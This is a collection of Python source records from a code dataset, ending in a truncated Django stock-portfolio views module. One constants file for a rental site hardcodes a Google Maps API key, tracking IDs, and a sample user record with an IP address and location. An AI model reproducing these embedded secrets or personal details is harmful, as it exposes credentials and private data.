+{"seq_id":"518640687","text":"import numpy as np\nimport pandas as pd\n\n# 从列表创建,指定行、列索引\ndf = pd.DataFrame([10, 20, 30, 40],\n columns=['numbers'],\n index=['a', 'b', 'c', 'd'])\nprint(df)\n\n# 添加新的列数据\ndf['floats'] = (1.5, 2.5, 3.5, 4.5)\ndf['names1'] = ('Yves', 'Guido', 'Felix', 'Francesc')\nprint(df)\n\n# 以列为单位修改数据\ndf['floats'] = 2.0\nprint(df)\ndf.floats = 22.0\nprint(df)\n\n# 从新的DataFrame对象直接添加。\ndf['names2'] = pd.DataFrame(['Yv', 'Gu', 'Fe', 'Fr'],\n index=['d', 'a', 'b', 'c'])\nprint(df)\n\n\n# Missing Data\nms = df.join(pd.DataFrame([1, 4, 9, 16],\n index=['a', 'b', 'c', 'y'],\n columns=['squares',]))\nprint(ms)\n\nms = df.join(pd.DataFrame([1, 4, 9, 16],\n index=['a', 'b', 'c', 'y'],\n columns=['squares',]),\n how='outer')\nprint(ms)\n\n\n# 删除某列\ndel df['names2']\nprint(df)\n","sub_path":"tech/python/notes/pandas/dataframe/change/ex_dataframe_add.py","file_name":"ex_dataframe_add.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"187144430","text":"from config import Credentials\nfrom constants import ModuleConst\nfrom modules.vrs.helpers.constants import VrsConst, VrsKeys\nfrom utility.configs import EnvConst\n\n_APP_API_URL = {\n EnvConst.DEVELOPMENT: \"http://staging-api.leftt.com\",\n EnvConst.PRODUCTION: \"http://prod-api.leftt.com\",\n}\n_APP_WEBSITE_URL = {\n EnvConst.DEVELOPMENT: \"https://staging.rentbyowner.com\",\n EnvConst.PRODUCTION: \"https://www.rentbyowner.com\",\n}\n\n\nclass AppKeys(VrsKeys):\n pass\n\n\nclass AppConst(VrsConst):\n CURRENT_MODULE = ModuleConst.RBO\n DEFAULT_CURRENCY = \"USD\"\n DEMO_PROPERTY_LIST_SIZE = 15\n\n APP_TITLE = \"Rent by owner\"\n WEBSITE_TITLE = \"RentByOwner\"\n APP_MOD_NAME = ModuleConst.RBO\n APP_MOD_NAME_SHORT = \"rbo\"\n APP_WEBSITE_URL = _APP_WEBSITE_URL[EnvConst.ACTIVE]\n APP_AFFILIATE_BASE_URL = \"http://\" + Credentials.AFFILIATE_BASE_URL_USER + \":\" + Credentials.AFFILIATE_BASE_URL_PASSWORD + \"@es-center.rentbyowner.com\"\n APP_API_URL = _APP_API_URL[EnvConst.ACTIVE]\n\n APP_STATIC_KEY_DIC = {\n \"common\": {\n \"intent_media\": {\n \"site_country\": \"US\",\n \"site_name\": \"RENTBYOWNER_US\",\n 'referrer_source': 'self',\n \"site_url\": \"//compare.rentbyowner.com/javascripts/v1/p/alt_core.js\",\n },\n \"general\": {\n \"oz_site_id\": 9,\n \"encrypted_oz_u_token\": \"oztokentodo\",\n \"oz_u_token\": \"oztokentodo\",\n 'site_currency': 'USD', # TODO: Dynamically change based on clint request/geoinfo\n \"device_type\": \"web\", # TODO: Dynamically change based on clint request\n \"country_code\": \"BD\",\n },\n \"data_layer_values\": {\n \"OzUserToken\": \"oztokentodo\",\n \"gtm_data_layer\": 1\n },\n 'site_name': APP_MOD_NAME,\n 'page_id': 'hotel.home'\n },\n EnvConst.DEVELOPMENT: {\n \"google_tag_manager_id\": \"GTM-KPH3T58\",\n \"sid\": \"sid=MTgwMDE5ODU3MS4xNTUyNjI4NzI5\",\n \"oz_base_url\": \"https:cdn.stays.iooz-tagsoz_base.js\",\n \"google_ad\": 0,\n \"ga_enabled\": 'false',\n \"ha_tracking_id\": \"8111004\",\n \"bc_affiliate\": \"1482198\",\n \"gtm_data_layer\": \"1\",\n \"ga_tracking_id\": \"UA-46096270-1\",\n \"map_api_key\": \"AIzaSyBlfxoPGrgzUNFMzNohyNTX8DPuLtO20Hs\",\n \"bing_tracking_id\": \"\",\n \"inspectLet_id\": \"\",\n \"facebook_pixel_id\": 1657297934544668,\n \"pub_ref\": 'rentalhomes',\n \"siteid\": {\n \"homeaway\": 3,\n \"vrbo\": 3\n },\n \"feed\": {\n \"homeaway\": 12,\n \"vrbo\": 12\n },\n \"subfeed\": {\n \"homeaway\": 1,\n \"vrbo\": 2\n },\n \"event_type\": {\n \"pu\": 'PU',\n \"lb\": 'LB'\n },\n \"property_id\": {\n 'pu': 'PopUnder',\n 'lb': 'LeaveBehind'\n },\n \"cam_ref\": {\n 'homeaway': '1011l36AX',\n 'vrbo': '1011l36Ba'\n },\n \"data_to_oz\": {\n \"u_token\": \"1800198571.1552628729\",\n \"oz_session_time\": 1557823473,\n \"referrer\": \"\",\n \"site_id\": 9,\n \"user_agent\": \"Mozilla 5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko 20100101 Firefox 66.0\",\n \"env\": EnvConst.ACTIVE,\n \"is_from_amp\": 'false',\n \"lat\": 22.81348,\n \"lng\": 89.56723,\n \"country\": \"Bangladesh\",\n \"country_code\": \"BD\",\n \"city\": \"Khulna\",\n \"region\": \"Khulna\",\n \"continent_code\": \"AS\",\n \"ip\": \"202.5.50.43\"\n },\n \"date_format\": 0,\n \"media_partner\": {\"im\": 1, \"ma\": 0},\n \"dcr\": \"3.9937\",\n \"set_brand_config\": \"HomeAway\",\n \"check_box_text\": \"Compare with HomeAway\",\n \"listingPartnerBlock\": \"\",\n \"user_region\": \"APAC\",\n \"browser_language\": \"EN\",\n \"checkbox_brand\": \"HomeAway\"\n },\n EnvConst.PRODUCTION: {\n \"overlay_origin\": 'false',\n \"google_map_api_key\": 'AIzaSyBlfxoPGrgzUNFMzNohyNTX8DPuLtO20Hs'\n }\n }\n","sub_path":"modules/rentbyowner/helpers/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"180345025","text":"\"\"\"Groundwire lorem ipsum generator\"\"\"\n\nimport os.path\nimport random\nfrom webob import Response\nfrom webob.dec import wsgify\nfrom paste.httpserver import serve\nfrom paste.fileapp import DirectoryApp\nfrom produce import build_sentence\n\nstatic = DirectoryApp(os.path.dirname(__file__))\n\n\n@wsgify\ndef generate_paras(request):\n if request.path != \"/generator\":\n if request.path == \"/\":\n request.path_info = \"/index.html\"\n return static\n\n paras = int(request.GET.get(\"p\", 4))\n sentence_max = int(request.GET.get(\"smax\", 9))\n sentence_min = int(request.GET.get(\"smin\", 5))\n\n out = \"\"\n for i in range(paras):\n out += \"\"\n sentence_per_para = random.randint(sentence_min, sentence_max)\n for j in range(sentence_per_para):\n out += build_sentence() + \" \"\n out += \"
\"\n\n return Response(out)\n\n\nif __name__ == \"__main__\":\n port = int(os.environ.get(\"PORT\", 8080))\n serve(generate_paras, host=\"0.0.0.0\", port=port)\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"355327140","text":"infile = open(\"C-small-attempt1.in\", \"r\")\ncases = infile.readline()\nline = infile.readline()\nlength = int(line[0:2])\nnumbers = int(line[3:5])\ninfile.close()\n\nimport itertools\nimport random\nfrom math import gcd\n\ndef Factor(N):\n if N == 1:\n return N\n if N % 2 == 0:\n return 2\n y, c, m = random.randint(1, N - 1), random.randint(1, N - 1), random.randint(1, N - 1)\n g, r, q = 1, 1, 1\n while g == 1:\n x = y\n for i in range(r):\n y = ((y * y) % N + c) % N\n k = 0\n while (k < r and g == 1):\n ys = y\n for i in range(min(m, r - k)):\n y = ((y * y) % N + c) % N\n q = q * (abs(x - y)) % N\n g = gcd(q, N)\n k = k + m\n r = r * 2\n if g == N:\n while True:\n ys = ((ys * ys) % N + c) % N\n g = gcd(abs(x - ys), N)\n if g > 1:\n break\n return g\n\ndef Base(number, base):\n interpretation = 0\n digits = list(number)\n digits.reverse()\n for i in range(len(digits)):\n interpretation += int(digits[i])*(int(base)**i)\n return interpretation\n\ndef Jamcoin_Check(number):\n interpretations = []\n for i in range(2, 11):\n if Factor(Base(number, i)) == (Base(number, i)):\n return False, False\n else:\n interpretations.append(str(Factor(Base(number, i))))\n return True, interpretations\n\npossible = []\nproven = []\n\nfor value in list([\"\".join(seq) for seq in itertools.product(\"01\", repeat=int(length-2))]):\n possible.append(\"1\" + value + \"1\")\n\noutfile = open(\"C-small-output.txt\", \"a\")\noutfile.write(\"Case #%s:\\n\" % cases)\ncount = 0\nfor value in possible:\n if count == int(numbers):\n break\n else:\n if Jamcoin_Check(value)[0] == True:\n outfile.write(((\"%s %s\\n\") % (value, ' '.join(Jamcoin_Check(value)[1]))))\n count += 1\noutfile.close()","sub_path":"codes/CodeJamCrawler/16_0_3/Alaete/C-small.py","file_name":"C-small.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"115151819","text":"from ListNode import ListNode\n\nclass Solution(object):\n def getIntersectionNode(self,headA,headB):\n la = headA\n lena = 0\n while la:\n lena+=1\n la=la.next\n lb = headB\n lenb = 0\n while lb:\n lenb+=1\n lb=lb.next\n\n la=headA\n lb=headB\n if lenalenb:\n la=headA\n for i in range(lena-lenb):\n la=la.next\n while la and lb and la!=lb:\n la=la.next\n lb=lb.next\n if la and lb:\n return la\n #in python, return None\n return None\n\nheadA = ListNode(1)\nnode1=ListNode(2)\nnode2=ListNode(3)\nheadA.next=node1\nheadA.next=node2\n\nheadB=ListNode(1)\nheadB.next=node2\n\ns=Solution()\nnode=s.getIntersectionNode(headA,headB)\nif(node):\n print (node.val)\nelse:\n print (\"null\")\n\n","sub_path":"IntersectionofTwoLinkedLissts.py","file_name":"IntersectionofTwoLinkedLissts.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"553866825","text":"# n Write a Python program to compute element-wise sum of given tuples.\r\ns = [(1, 2, 3, 4), (4, 2, 1, 3), (5, 6, 2, 1), (2, 5, 2, 1)]\r\ns1 = []\r\nfor i in range(0, 4):\r\n s2 = s[0][i] + s[1][i] + s[2][i] + s[3][i]\r\n s1.append(s2)\r\nprint(tuple(s1))\r\n\r\n# another way\r\ns2 = tuple(map(sum, zip(*s)))\r\nprint(s2)\r\n","sub_path":"Compute_elementwise_sum.py","file_name":"Compute_elementwise_sum.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"492016402","text":"# -*- coding: utf-8 -*-\nimport calendar\nimport datetime\nfrom decimal import Decimal\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.exceptions import PermissionDenied\nfrom django.db.models.expressions import F\nfrom django.shortcuts import get_object_or_404\nfrom itertools import chain\nimport json\nfrom operator import attrgetter\n\nfrom django.core.urlresolvers import reverse\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.forms import inlineformset_factory\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template.response import TemplateResponse\n\nfrom bagogold.bagogold.decorators import adiciona_titulo_descricao\nfrom bagogold.bagogold.forms.divisoes import DivisaoOperacaoAcaoFormSet\nfrom bagogold.bagogold.forms.operacao_acao import OperacaoAcaoForm, \\\n UsoProventosOperacaoAcaoForm\nfrom bagogold.bagogold.forms.taxa_custodia_acao import TaxaCustodiaAcaoForm\nfrom bagogold.bagogold.models.acoes import OperacaoAcao, HistoricoAcao, \\\n ValorDiarioAcao, Provento, UsoProventosOperacaoAcao, TaxaCustodiaAcao, Acao\nfrom bagogold.bagogold.models.divisoes import DivisaoOperacaoAcao, Divisao\nfrom bagogold.bagogold.utils.acoes import calcular_provento_por_mes, \\\n calcular_media_proventos_6_meses, calcular_operacoes_sem_proventos_por_mes, \\\n calcular_uso_proventos_por_mes, calcular_qtd_acoes_ate_dia_por_ticker, \\\n calcular_poupanca_prov_acao_ate_dia\n# from bagogold.bagogold.utils.divisoes import calcular_saldo_geral_acoes_bh\nfrom bagogold.bagogold.utils.investidores import buscar_acoes_investidor_na_data\n\n\n@login_required\ndef calcular_poupanca_proventos_na_data(request):\n investidor = request.user.investidor\n try:\n data = datetime.datetime.strptime(request.GET.get('dataEscolhida'), '%d/%m/%Y').date()\n except:\n return HttpResponse(json.dumps({'mensagem': u'Data inválida'}), content_type = \"application/json\")\n poupanca_proventos = str(calcular_poupanca_prov_acao_ate_dia(investidor, data))\n return HttpResponse(json.dumps(poupanca_proventos), content_type = \"application/json\") \n\n@login_required\n@adiciona_titulo_descricao('Editar operação em Ações (Buy and Hold)', 'Altera valores de operação de compra/venda em Ações para Buy and Hold')\ndef editar_operacao_acao(request, id_operacao):\n investidor = request.user.investidor\n \n operacao_acao = get_object_or_404(OperacaoAcao, pk=id_operacao, destinacao='B')\n \n # Verifica se a operação é do investidor, senão, jogar erro de permissão\n if operacao_acao.investidor != investidor:\n raise PermissionDenied\n \n # Valor da poupança de proventos na data apontada\n poupanca_proventos = calcular_poupanca_prov_acao_ate_dia(investidor, operacao_acao.data)\n \n # Preparar formset para divisoes\n DivisaoFormSet = inlineformset_factory(OperacaoAcao, DivisaoOperacaoAcao, fields=('divisao', 'quantidade'),\n extra=1, formset=DivisaoOperacaoAcaoFormSet)\n \n # Testa se investidor possui mais de uma divisão\n varias_divisoes = Divisao.objects.filter(investidor=investidor).count() > 1\n\n if request.method == 'POST':\n if request.POST.get(\"save\"):\n form_operacao_acao = OperacaoAcaoForm(request.POST, instance=operacao_acao)\n formset_divisao = DivisaoFormSet(request.POST, instance=operacao_acao, investidor=investidor) if varias_divisoes else None\n \n if not varias_divisoes:\n try:\n form_uso_proventos = UsoProventosOperacaoAcaoForm(request.POST, instance=UsoProventosOperacaoAcao.objects.get(divisao_operacao__operacao=operacao_acao))\n except UsoProventosOperacaoAcao.DoesNotExist:\n form_uso_proventos = UsoProventosOperacaoAcaoForm(request.POST)\n else:\n form_uso_proventos = UsoProventosOperacaoAcaoForm() \n \n if form_operacao_acao.is_valid():\n # Validar de acordo com a quantidade de divisões\n if varias_divisoes:\n if formset_divisao.is_valid():\n operacao_acao.save()\n formset_divisao.save()\n for form_divisao_operacao in [form for form in formset_divisao if form.cleaned_data]:\n # Ignorar caso seja apagado\n if 'DELETE' in form_divisao_operacao.cleaned_data and form_divisao_operacao.cleaned_data['DELETE']:\n pass\n else:\n divisao_operacao = form_divisao_operacao.save(commit=False)\n if hasattr(divisao_operacao, 'usoproventosoperacaoacao'):\n if form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] == None or form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] == 0:\n divisao_operacao.usoproventosoperacaoacao.delete()\n else:\n divisao_operacao.usoproventosoperacaoacao.qtd_utilizada = form_divisao_operacao.cleaned_data['qtd_proventos_utilizada']\n divisao_operacao.usoproventosoperacaoacao.save()\n else:\n if form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] != None and form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'] > 0:\n # TODO remover operação de uso proventos\n divisao_operacao.usoproventosoperacaoacao = UsoProventosOperacaoAcao(qtd_utilizada=form_divisao_operacao.cleaned_data['qtd_proventos_utilizada'], operacao=operacao_acao)\n divisao_operacao.usoproventosoperacaoacao.save()\n \n messages.success(request, 'Operação alterada com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n for erro in formset_divisao.non_form_errors():\n messages.error(request, erro)\n \n else:\n if form_uso_proventos.is_valid():\n operacao_acao.save()\n divisao_operacao = DivisaoOperacaoAcao.objects.get(divisao=investidor.divisaoprincipal.divisao, operacao=operacao_acao, quantidade=operacao_acao.quantidade)\n divisao_operacao.save()\n uso_proventos = form_uso_proventos.save(commit=False)\n# print uso_proventos.qtd_utilizada \n if uso_proventos.qtd_utilizada > 0:\n uso_proventos.operacao = operacao_acao\n uso_proventos.divisao_operacao = DivisaoOperacaoAcao.objects.get(operacao=operacao_acao)\n uso_proventos.save()\n # Se uso proventos for 0 e existir uso proventos atualmente, apagá-lo\n elif uso_proventos.qtd_utilizada == 0 and UsoProventosOperacaoAcao.objects.filter(divisao_operacao__operacao=operacao_acao):\n uso_proventos.delete()\n messages.success(request, 'Operação alterada com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n \n for erro in [erro for erro in form_operacao_acao.non_field_errors()]:\n messages.error(request, erro)\n\n elif request.POST.get(\"delete\"):\n divisao_acao = DivisaoOperacaoAcao.objects.filter(operacao=operacao_acao)\n for divisao in divisao_acao:\n if hasattr(divisao, 'usoproventosoperacaoacao'):\n divisao.usoproventosoperacaoacao.delete()\n divisao.delete()\n operacao_acao.delete()\n messages.success(request, 'Operação apagada com sucesso')\n return HttpResponseRedirect(reverse('acoes:bh:historico_bh'))\n\n else:\n form_operacao_acao = OperacaoAcaoForm(instance=operacao_acao)\n if not varias_divisoes:\n if UsoProventosOperacaoAcao.objects.filter(divisao_operacao__operacao=operacao_acao).exists():\n form_uso_proventos = UsoProventosOperacaoAcaoForm(instance=UsoProventosOperacaoAcao.objects.get(divisao_operacao__operacao=operacao_acao))\n else:\n form_uso_proventos = UsoProventosOperacaoAcaoForm()\n else:\n form_uso_proventos = UsoProventosOperacaoAcaoForm()\n formset_divisao = DivisaoFormSet(instance=operacao_acao, investidor=investidor)\n \n return TemplateResponse(request, 'acoes/buyandhold/editar_operacao_acao.html', {'form_operacao_acao': form_operacao_acao, 'form_uso_proventos': form_uso_proventos,\n 'formset_divisao': formset_divisao, 'poupanca_proventos': poupanca_proventos, 'varias_divisoes': varias_divisoes})\n\n@login_required\ndef evolucao_posicao(request):\n if request.is_ajax():\n investidor = request.user.investidor\n \n graf_evolucao = {}\n \n # Buscar ações que o investidor possui atualmente\n acoes_investidor = Acao.objects.filter(id__in=buscar_acoes_investidor_na_data(investidor, destinacao='B'))\n \n data_30_dias_atras = datetime.date.today() - datetime.timedelta(days=30)\n # Preencher valores históricos\n for acao in [acao for acao in acoes_investidor if calcular_qtd_acoes_ate_dia_por_ticker(investidor, acao.ticker, datetime.date.today())]:\n# data_formatada = str(calendar.timegm(historico.data.timetuple()) * 1000)\n historico_30_dias = HistoricoAcao.objects.filter(acao=acao, data__range=[data_30_dias_atras, datetime.date.today() - datetime.timedelta(days=1)]).order_by('data')\n graf_evolucao[acao.ticker] = [(str(calendar.timegm(historico.data.timetuple()) * 1000), float(historico.preco_unitario)) for historico in historico_30_dias]\n \n # Adicionar valor atual\n if ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, data_hora__month=datetime.date.today().month).exists():\n graf_evolucao[acao.ticker].append((str(calendar.timegm(datetime.date.today().timetuple()) * 1000), \n float(ValorDiarioAcao.objects.filter(acao__ticker=acao, data_hora__day=datetime.date.today().day, \n data_hora__month=datetime.date.today().month).order_by('-data_hora')[0].preco_unitario)))\n else:\n graf_evolucao[acao.ticker].append((str(calendar.timegm(datetime.date.today().timetuple()) * 1000), \n float(HistoricoAcao.objects.filter(acao__ticker=acao).order_by('-data')[0].preco_unitario)))\n \n return HttpResponse(json.dumps({'sucesso': True, 'graf_evolucao': graf_evolucao}), content_type = \"application/json\") \n else:\n return HttpResponse(json.dumps({'sucesso': False}), content_type = \"application/json\") \n \n\n@adiciona_titulo_descricao('Histórico de Ações (Buy and Hold)', 'Histórico de operações de compra/venda em ações para Buy and Hold e proventos recebidos')\ndef historico(request):\n # Usado para criar objetos vazios\n class Object(object):\n pass\n \n if request.user.is_authenticated():\n investidor = request.user.investidor\n else:\n return TemplateResponse(request, 'acoes/buyandhold/historico.html', {'operacoes': list(), 'graf_total_gasto': list(), 'graf_patrimonio': list(),\n 'graf_proventos_mes': list(), 'graf_media_proventos_6_meses': list(), 'graf_poupanca_proventos': list(),\n 'graf_gasto_op_sem_prov_mes': list(), 'graf_uso_proventos_mes': list(),\n 'graf_dividendos_mensal': list(), 'graf_jscp_mensal': list(), 'dados': {}})\n \n operacoes = OperacaoAcao.objects.filter(destinacao='B', investidor=investidor).exclude(data__isnull=True).annotate(acao_ticker=F('acao__ticker')).order_by('data')\n \n if not operacoes:\n return TemplateResponse(request, 'acoes/buyandhold/historico.html', {'operacoes': list(), 'graf_total_gasto': list(), 'graf_patrimonio': list(),\n 'graf_proventos_mes': list(), 'graf_media_proventos_6_meses': list(), 'graf_poupanca_proventos': list(),\n 'graf_gasto_op_sem_prov_mes': list(), 'graf_uso_proventos_mes': list(),\n 'graf_dividendos_mensal': list(), 'graf_jscp_mensal': list(), 'dados': {}})\n \n acoes = list(set(operacoes.values_list('acao', flat=True)))\n\n proventos = Provento.objects.filter(acao__in=acoes).exclude(data_ex__isnull=True).exclude(data_ex__gt=datetime.date.today()).order_by('data_ex') \\\n .annotate(data=F('data_ex')).annotate(acao_ticker=F('acao__ticker')).select_related('acao')\n for acao_id in acoes:\n proventos = proventos.filter((Q(acao__id=acao_id) & Q(data_ex__gt=operacoes.filter(acao__id=acao_id)[0].data)) | ~Q(acao__id=acao_id))\n \n taxas_custodia = list(TaxaCustodiaAcao.objects.filter(investidor=investidor).order_by('ano_vigencia', 'mes_vigencia'))\n# for taxa in taxas_custodia:\n# taxa.data = datetime.date(taxa.ano_vigencia, taxa.mes_vigencia, 1)\n \n # Na lista conjunta proventos devem vir antes (data EX antes de operações do dia)\n lista_conjunta = sorted(chain(proventos, operacoes),\n key=attrgetter('data'))\n \n # Adicionar dias de pagamento de taxa de custodia\n datas_custodia = list()\n \n ano_inicial = lista_conjunta[0].data.year\n mes_inicial = lista_conjunta[0].data.month\n \n # Se houver registro de taxas de custódia, adicionar ao histórico\n if taxas_custodia:\n # Adicionar datas finais de cada ano\n for ano in range(ano_inicial, datetime.date.today().year+1):\n for mes_inicial in range(mes_inicial, 13):\n # Verificar se há nova taxa de custodia vigente\n# taxa_custodia_atual = taxas_custodia.filter(Q(ano_vigencia__lt=ano) | Q(ano_vigencia=ano, mes_vigencia__lte=mes_inicial) ).order_by('-ano_vigencia', '-mes_vigencia')[0]\n taxa_custodia_atual = [taxa_custodia for taxa_custodia in taxas_custodia if taxa_custodia.ano_vigencia < ano or \\\n (taxa_custodia.ano_vigencia == ano and taxa_custodia.mes_vigencia <= mes_inicial)][-1]\n \n data_custodia = Object()\n data_custodia.data = datetime.date(ano, mes_inicial, 1)\n data_custodia.valor = taxa_custodia_atual.valor_mensal\n data_custodia.acao_ticker = operacoes[0].acao_ticker\n datas_custodia.append(data_custodia)\n \n # Parar caso esteja no ano atual\n if ano == datetime.date.today().year:\n if mes_inicial == datetime.date.today().month:\n break\n mes_inicial = 1\n\n\n# # Se houver registro de taxas de custódia, adicionar ao histórico\n# if taxas_custodia.exists():\n# for taxa_custodia in taxas_custodia:\n# data_custodia = Object()\n# data_custodia.data = datetime.date(taxa_custodia.ano_vigencia, taxa_custodia.mes_vigencia, 1)\n# data_custodia.valor = taxa_custodia.valor_mensal\n# data_custodia.acao_ticker = operacoes[0].acao_ticker\n# datas_custodia.append(data_custodia)\n# \n# for indice, data_custodia in reversed(list(enumerate(datas_custodia))):\n# novas_datas_custodia = list()\n# # Verificar se último registro\n# if indice == len(datas_custodia) - 1:\n# ano_custodia = data_custodia.data.year\n# mes_custodia = data_custodia.data.month\n# while ano_custodia <= datetime.date.today().year:\n# mes_custodia += 1\n# if mes_custodia == 13:\n# mes_custodia = 1\n# ano_custodia += 1\n# \n# if ano_custodia == datetime.date.today().year and mes_custodia > datetime.date.today().month:\n# break\n# \n# nova_data_custodia = Object()\n# nova_data_custodia.data = datetime.date(ano_custodia, mes_custodia, 1)\n# nova_data_custodia.valor = data_custodia.valor\n# nova_data_custodia.acao_ticker = data_custodia.acao_ticker\n# novas_datas_custodia.append(nova_data_custodia)\n# \n# else:\n# ano_custodia = data_custodia.data.year\n# mes_custodia = data_custodia.data.month\n# while ano_custodia <= datas_custodia[indice+1].data.year:\n# mes_custodia += 1\n# if mes_custodia == 13:\n# mes_custodia = 1\n# ano_custodia += 1\n# \n# if ano_custodia == datas_custodia[indice+1].data.year and mes_custodia == datas_custodia[indice+1].data.month:\n# break\n# \n# nova_data_custodia = Object()\n# nova_data_custodia.data = datetime.date(ano_custodia, mes_custodia, 1)\n# nova_data_custodia.valor = data_custodia.valor\n# nova_data_custodia.acao_ticker = data_custodia.acao_ticker\n# novas_datas_custodia.append(nova_data_custodia)\n# \n# for nova_data_custodia in reversed(novas_datas_custodia):\n# datas_custodia.insert(indice+1, nova_data_custodia)\n# \n# # Remover datas de custódia anteriores a primeira operação em ações\n# datas_custodia = [data_custodia for data_custodia in datas_custodia if data_custodia.data.year > ano_inicial \\\n# or (data_custodia.data.year == ano_inicial and data_custodia.data.month >= mes_inicial)]\n \n lista_conjunta = sorted(chain(lista_conjunta, datas_custodia),\n key=attrgetter('data'))\n \n # Dados para os gráficos\n graf_proventos_mes = list()\n graf_media_proventos_6_meses = list()\n graf_uso_proventos_mes = list()\n graf_gasto_op_sem_prov_mes = list()\n graf_total_gasto = list()\n graf_patrimonio = list()\n graf_poupanca_proventos = list()\n graf_dividendos_mensal = list()\n graf_jscp_mensal = list()\n \n # Totais\n total_custodia = 0\n total_gasto = 0\n total_proventos = 0\n proventos_gastos = 0\n patrimonio = 0\n \n # Guarda as ações correntes para o calculo do patrimonio\n acoes = {}\n # Preparar gráfico de proventos em dinheiro por mês\n# graf_proventos_mes = calcular_provento_por_mes(proventos.exclude(data_ex__gt=datetime.date.today()).exclude(tipo_provento='A'), operacoes)\n proventos_mes = calcular_provento_por_mes(investidor, proventos.exclude(data_ex__gt=datetime.date.today()).exclude(tipo_provento='A'), operacoes,\n data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), data_fim=datetime.date.today())\n for x in proventos_mes:\n graf_proventos_mes += [[x[0], x[1] + x[2]]]\n graf_dividendos_mensal += [[x[0], x[1]]]\n graf_jscp_mensal += [[x[0], x[2]]]\n \n graf_media_proventos_6_meses = calcular_media_proventos_6_meses(investidor, proventos.exclude(data_ex__gt=datetime.date.today()).exclude(tipo_provento='A'), \n operacoes, data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), \n data_fim=datetime.date.today())\n \n # Preparar gráfico de utilização de proventos por mês\n graf_gasto_op_sem_prov_mes = calcular_operacoes_sem_proventos_por_mes(investidor, operacoes.filter(tipo_operacao='C'), \n data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), \n data_fim=datetime.date.today())\n graf_uso_proventos_mes = calcular_uso_proventos_por_mes(investidor, data_inicio=datetime.date.today() - datetime.timedelta(days=365*3), \n data_fim=datetime.date.today())\n \n # Calculos de patrimonio e gasto total\n for item_lista in lista_conjunta: \n if item_lista.acao_ticker not in acoes.keys():\n acoes[item_lista.acao_ticker] = 0\n # Verifica se é uma compra/venda\n if isinstance(item_lista, OperacaoAcao): \n # Verificar se se trata de compra ou venda\n if item_lista.tipo_operacao == 'C':\n item_lista.tipo = 'Compra'\n item_lista.total_gasto = -1 * (item_lista.quantidade * item_lista.preco_unitario + \\\n item_lista.emolumentos + item_lista.corretagem)\n if item_lista.utilizou_proventos():\n qtd_utilizada = item_lista.qtd_proventos_utilizada()\n proventos_gastos += qtd_utilizada\n # Remover proventos gastos do total gasto\n item_lista.total_gasto += qtd_utilizada\n total_gasto += item_lista.total_gasto\n acoes[item_lista.acao_ticker] += item_lista.quantidade\n \n elif item_lista.tipo_operacao == 'V':\n item_lista.tipo = 'Venda'\n item_lista.total_gasto = (item_lista.quantidade * item_lista.preco_unitario - \\\n item_lista.emolumentos - item_lista.corretagem)\n# total_proventos += item_lista.total_gasto\n total_gasto += item_lista.total_gasto\n acoes[item_lista.acao_ticker] -= item_lista.quantidade\n \n # Verifica se é recebimento de proventos\n elif isinstance(item_lista, Provento):\n if item_lista.data_pagamento <= datetime.date.today():\n if item_lista.tipo_provento in ['D', 'J']:\n total_recebido = acoes[item_lista.acao_ticker] * item_lista.valor_unitario\n if item_lista.tipo_provento == 'J':\n item_lista.tipo = 'JSCP'\n total_recebido = total_recebido * Decimal(0.85)\n else:\n item_lista.tipo = 'Dividendos'\n# total_gasto += total_recebido\n total_proventos += total_recebido\n item_lista.total_gasto = total_recebido\n item_lista.quantidade = acoes[item_lista.acao_ticker]\n item_lista.preco_unitario = item_lista.valor_unitario\n \n elif item_lista.tipo_provento == 'A':\n# print '%s %s' % (type(item_lista.tipo_provento), type(u'A'))\n item_lista.tipo = u'Ações'\n# print item_lista.acaoprovento_set.all()[0]\n provento_acao = item_lista.acaoprovento_set.all()[0]\n if provento_acao.acao_recebida.ticker not in acoes.keys():\n acoes[provento_acao.acao_recebida.ticker] = 0\n acoes_recebidas = int((acoes[item_lista.acao_ticker] * item_lista.valor_unitario ) / 100 )\n item_lista.total_gasto = acoes_recebidas\n acoes[provento_acao.acao_recebida.ticker] += acoes_recebidas\n if provento_acao.valor_calculo_frac > 0:\n if provento_acao.data_pagamento_frac <= datetime.date.today():\n# print u'recebido fracionado %s, %s ações de %s a %s' % (total_recebido, acoes[item_lista.acao_ticker], item_lista.acao_ticker, item_lista.valor_unitario)\n# total_gasto += (((acoes[item_lista.acao_ticker] * item_lista.valor_unitario ) / 100 ) % 1) * provento_acao.valor_calculo_frac\n total_proventos += (((acoes[item_lista.acao_ticker] * item_lista.valor_unitario ) / 100 ) % 1) * provento_acao.valor_calculo_frac\n \n # Verifica se é pagamento de custódia\n elif isinstance(item_lista, Object):\n# if taxas_custodia:\n total_gasto -= item_lista.valor\n total_custodia += item_lista.valor\n \n # Rodar calculo de patrimonio\n patrimonio = 0\n \n # Pegar último dia util com negociação da ação para calculo do patrimonio\n 